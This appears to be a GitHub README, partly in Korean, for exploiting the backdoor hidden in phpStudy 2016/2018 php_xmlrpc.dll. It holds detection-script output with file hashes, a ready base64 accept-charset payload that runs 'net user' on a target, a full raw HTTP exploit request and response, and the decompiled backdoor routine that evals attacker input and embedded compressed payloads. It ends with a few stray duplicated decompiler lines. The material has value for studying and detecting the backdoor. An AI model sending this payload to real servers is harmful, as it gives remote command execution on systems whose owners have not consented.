jas502n/phpstudy-backdoorphpstudy v2016 및 v2018용 DLL 백도어
v2016 및 v2018용 phpstudy dll 백도어
D:\Pentester\phpStudy>python check.py
=== .\php\php-5.2.17\ext\php_xmlrpc.dll ===
@eval(%s('%s'));
%s;@eval(%s('%s'));
=== .\php\php-5.4.45\ext\php_xmlrpc.dll ===
@eval(%s('%s'));
%s;@eval(%s('%s'));
D:\Pentester\phpStudy>
>>>D:\Pentester\phpStudy\php\php-5.2.17\ext\php_xmlrpc.dll
>>>D:\Pentester\phpStudy\php\php-5.4.45\ext\php_xmlrpc.dll
D:\Pentester\phpStudy>md5sum .\php\php-5.2.17\ext\php_xmlrpc.dll
\0f7ad38e7a9857523dfbce4bce43a9e9 *.\\php\\php-5.2.17\\ext\\php_xmlrpc.dll
D:\Pentester\phpStudy>md5sum .\php\php-5.4.45\ext\php_xmlrpc.dll
\c339482fd2b233fb0a555b629c0ea5d5 *.\\php\\php-5.4.45\\ext\\php_xmlrpc.dll
1. 먼저 대상 웹사이트의 PHP 버전을 확인한 후 명령을 실행하고 대상 웹사이트의 server 정보를 출력한다.
2. 고정 문자열 md5를 생성하여 성공적으로 실행되었는지 검증한다.
accept-charset: echo system("net user");echo PHP_VERSION;
Base64 encode
accept-charset: ZWNobyBzeXN0ZW0oIm5ldCB1c2VyIik7ZWNobyBQSFBfVkVSU0lPTjs=
GET / HTTP/1.1
Host: 172.16.9.174
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:55.0) Gecko/20100101 Firefox/55.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Connection: close
accept-charset: ZWNobyBzeXN0ZW0oIm5ldCB1c2VyIik7ZWNobyBQSFBfVkVSU0lPTjs=
Accept-Encoding: gzip,deflate
Upgrade-Insecure-Requests: 1
HTTP/1.1 200 OK
Date: Tue, 24 Sep 2019 15:06:18 GMT
Server: Apache/2.4.23 (Win32) OpenSSL/1.0.2j PHP/5.4.45
X-Powered-By: PHP/5.4.45
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 17223
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5.4.45
int __cdecl sub_100031F0(int a1, int a2, _DWORD *a3)
{
int v3; // edx
int v4; // eax
int v5; // ecx
int v6; // eax
int v7; // esi
char *v8; // edi
char *v9; // ecx
int v10; // eax
char *v11; // esi
int v12; // eax
char *v13; // edi
char *v14; // ecx
_DWORD *v15; // esi
int v16; // eax
int v17; // edx
int v18; // eax
int v19; // edi
_DWORD *v20; // esi
int result; // eax
int v22; // eax
int v23; // ecx
int v24; // eax
int v25; // edi
_DWORD *v26; // esi
char v27; // [esp+Dh] [ebp-19Bh]
__int16 v28; // [esp+BDh] [ebp-EBh]
char v29; // [esp+BFh] [ebp-E9h]
char v30; // [esp+C0h] [ebp-E8h]
char v31; // [esp+100h] [ebp-A8h]
char v32; // [esp+140h] [ebp-68h]
char v33; // [esp+180h] [ebp-28h]
const char ***v34; // [esp+184h] [ebp-24h]
int v35; // [esp+188h] [ebp-20h]
int v36; // [esp+18Ch] [ebp-1Ch]
const char ***v37; // [esp+190h] [ebp-18h]
int v38; // [esp+194h] [ebp-14h]
_DWORD **v39; // [esp+198h] [ebp-10h]
int v40; // [esp+19Ch] [ebp-Ch]
char *v41; // [esp+1A0h] [ebp-8h]
char *v42; // [esp+1A4h] [ebp-4h]
memset(&v27, 0, 0xB0u);
v28 = 0;
v3 = *a3;
v29 = 0;
if ( *(_BYTE *)(*(_DWORD *)(v3 + 4 * core_globals_id - 4) + 210) )
zend_is_auto_global(aServer, 7, a3);
zend_hash_find(*(_DWORD *)(*a3 + 4 * executor_globals_id - 4) + 216, aServer, 8, &v33);
if ( zend_hash_find(*(_DWORD *)(*a3 + 4 * executor_globals_id - 4) + 216, aServer, strlen(aServer) + 1, &v39) != -1
&& zend_hash_find(**v39, aHttpAcceptEnco, strlen(aHttpAcceptEnco) + 1, &v34) != -1 )
{
if ( !strcmp(**v34, aGzipDeflate) )
{
if ( zend_hash_find(*(_DWORD *)(*a3 + 4 * executor_globals_id - 4) + 216, aServer, strlen(aServer) + 1, &v39) != -1
&& zend_hash_find(**v39, aHttpAcceptChar, strlen(aHttpAcceptChar) + 1, &v37) != -1 )
{
v40 = sub_100040B0(**v37, strlen(**v37));
if ( v40 )
{
v4 = *(_DWORD *)(*a3 + 4 * executor_globals_id - 4);
v5 = *(_DWORD *)(v4 + 296);
*(_DWORD *)(v4 + 296) = &v30;
v35 = v5;
v6 = setjmp3(&v30, 0);
v7 = v35;
if ( v6 )
*(_DWORD *)(*(_DWORD *)(*a3 + 4 * executor_globals_id - 4) + 296) = v35;
else
zend_eval_string(v40, 0, &byte_10012884, a3);
*(_DWORD *)(*(_DWORD *)(*a3 + 4 * executor_globals_id - 4) + 296) = v7;
}
}
}
else
{
v12 = strcmp(**v34, aCompressGzip);
if ( !v12 )
{
v13 = &byte_10012884;
v14 = (char *)&unk_1000D66C;
v42 = &byte_10012884;
v15 = &unk_1000D66C;
while ( 1 )
{
if ( *v15 == 39 )
{
v13[v12] = 92;
v42[v12 + 1] = *v14;
v12 += 2;
v15 += 2;
}
else
{
v13[v12++] = *v14;
++v15;
}
v14 += 4;
if ( (signed int)v14 >= (signed int)&unk_1000E5C4 )
break;
v13 = v42;
}
spprintf(&v36, 0, aVSMS, byte_100127B8, Dest);
spprintf(&v42, 0, aSEvalSS, v36, aGzuncompress, v42);
v16 = *(_DWORD *)(*a3 + 4 * executor_globals_id - 4);
v17 = *(_DWORD *)(v16 + 296);
*(_DWORD *)(v16 + 296) = &v32;
v40 = v17;
v18 = setjmp3(&v32, 0);
v19 = v40;
if ( v18 )
{
v20 = a3;
*(_DWORD *)(*(_DWORD *)(*a3 + 4 * executor_globals_id - 4) + 296) = v40;
}
else
{
v20 = a3;
zend_eval_string(v42, 0, &byte_10012884, a3);
}
result = 0;
*(_DWORD *)(*(_DWORD *)(*v20 + 4 * executor_globals_id - 4) + 296) = v19;
return result;
}
}
}
if ( dword_10012AB0 - dword_10012AA0 >= dword_1000D010 && dword_10012AB0 - dword_10012AA0 < 6000 )
{
if ( strlen(byte_100127B8) == 0 )
sub_10004480(byte_100127B8);
if ( strlen(Dest) == 0 )
sub_10004380(Dest);
if ( strlen(byte_100127EC) == 0 )
sub_100044E0(byte_100127EC);
v8 = &byte_10012884;
v9 = asc_1000D028;
v41 = &byte_10012884;
v10 = 0;
v11 = asc_1000D028;
while ( 1 )
{
if ( *(_DWORD *)v11 == 39 )
{
v8[v10] = 92;
v41[v10 + 1] = *v9;
v10 += 2;
v11 += 8;
}
else
{
v8[v10++] = *v9;
v11 += 4;
}
v9 += 4;
if ( (signed int)v9 >= (signed int)&unk_1000D66C )
break;
v8 = v41;
}
spprintf(&v41, 0, aEvalSS, aGzuncompress, v41);
v22 = *(_DWORD *)(*a3 + 4 * executor_globals_id - 4);
v23 = *(_DWORD *)(v22 + 296);
*(_DWORD *)(v22 + 296) = &v31;
v38 = v23;
v24 = setjmp3(&v31, 0);
v25 = v38;
if ( v24 )
{
v26 = a3;
*(_DWORD *)(*(_DWORD *)(*a3 + 4 * executor_globals_id - 4) + 296) = v38;
}
else
{
v26 = a3;
zend_eval_string(v41, 0, &byte_10012884, a3);
}
*(_DWORD *)(*(_DWORD *)(*v26 + 4 * executor_globals_id - 4) + 296) = v25;
if ( dword_1000D010 < 3600 )
dword_1000D010 += 3600;
ftime(&dword_10012AA0);
}
ftime(&dword_10012AB0);
if ( dword_10012AA0 < 0 )
ftime(&dword_10012AA0);
return 0;
}
9 = asc_1000D028;
if ( (signed int)v9 >= (signed int)&unk_1000D66C )
>>>1000D028 - 1000D66C